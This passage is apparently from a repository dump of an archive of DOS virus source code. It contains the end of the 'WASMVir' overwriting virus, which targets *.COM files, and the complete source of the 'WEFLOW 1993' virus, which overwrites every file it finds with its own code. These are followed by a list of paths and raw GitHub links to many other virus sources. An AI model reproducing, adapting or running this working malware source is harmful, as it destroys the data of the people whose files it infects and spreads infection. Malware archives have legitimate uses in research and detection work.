find file 14 | 15 | int 21h 16 | jc EndV 17 | 18 | ;----- open file 19 | 20 | mov ax,3d01h 21 | mov dx,9eh 22 | int 21h 23 | jc Close 24 | 25 | xchg bx,ax 26 | 27 | ;----- write file 28 | 29 | mov ah,40h 30 | mov cl,Length 31 | mov dx,offset Start 32 | int 21h 33 | 34 | Close 35 | 36 | ;----- close file 37 | 38 | mov ah,3eh 39 | int 21h 40 | 41 | mov ah,4fh 42 | jmps Virus 43 | 44 | EndV 45 | db 00C3h ;"RET" 46 | 47 | ;----- data 48 | 49 | db 'WASMVir' 50 | 51 | FileSpec db '*.COM',0 52 | 53 | TheEnd 54 | Length equ offset TheEnd - offset Start 55 | -------------------------------------------------------------------------------- /virus/w/web_390.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/web_390.asm -------------------------------------------------------------------------------- /virus/w/web_415.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/web_415.asm -------------------------------------------------------------------------------- /virus/w/weflow.asm: -------------------------------------------------------------------------------- 1 | ;| 2 | ;| WEFLOW 1993 VIRUS BY TESLA 5 3 | ;| 4 | ;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR 5 | ;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT, 6 | ;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO... 7 | ;| 8 | ORG 100H 9 | 10 | MAIN: MOV AH,4EH 11 | NOTSOCOOL: LEA DX,FF 12 | INT 21H 13 | JNC COOL 14 | RET 15 | 16 | COOL: MOV AX,3D02H 17 | MOV DX,9EH 18 | INT 21H 19 | 20 | XCHG AX,BX 21 | MOV CL,VLEN 22 | MOV AH,40H 23 | INT 21H 24 | 25 | MOV AH,3EH 26 | INT 21H 27 | 28 | MOV AH,4FH 29 | JMP NOTSOCOOL 30 | 31 | FF DB '*.*',0 32 | 33 | DB 'WEFLOW93' 34 | 35 | VLEN EQU $-MAIN 36 | -------------------------------------------------------------------------------- /virus/w/whale.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/whale.asm -------------------------------------------------------------------------------- /virus/w/wharps.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wharps.asm -------------------------------------------------------------------------------- /virus/w/windooze.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/windooze.asm -------------------------------------------------------------------------------- /virus/w/wm_demez.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wm_demez.txt -------------------------------------------------------------------------------- /virus/w/wvir14.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wvir14.asm -------------------------------------------------------------------------------- /virus/w/wvir14a.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wvir14a.asm -------------------------------------------------------------------------------- /virus/w/ww.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/ww.asm -------------------------------------------------------------------------------- /virus/w/wwt-01.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wwt-01.asm -------------------------------------------------------------------------------- /virus/x/xa1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/x/xa1.asm -------------------------------------------------------------------------------- /virus/x/xa1.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/x/xa1.lst -------------------------------------------------------------------------------- /virus/x/xmas.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/x/xmas.obj -------------------------------------------------------------------------------- /virus/x/xpart.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/x/xpart.asm -------------------------------------------------------------------------------- /virus/x/xph_1100.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/x/xph_1100.asm -------------------------------------------------------------------------------- /virus/y/yale-asm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/y/yale-asm.asm -------------------------------------------------------------------------------- /virus/y/yale_asm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/y/yale_asm.asm -------------------------------------------------------------------------------- /virus/y/yeah1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/y/yeah1.asm -------------------------------------------------------------------------------- /virus/z/zep.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/z/zep.asm -------------------------------------------------------------------------------- /virus/z/zombie95.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/z/zombie95.asm -------------------------------------------------------------------------------- /virus/z/zorm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/z/zorm.asm --------------------------------------------------------------------------------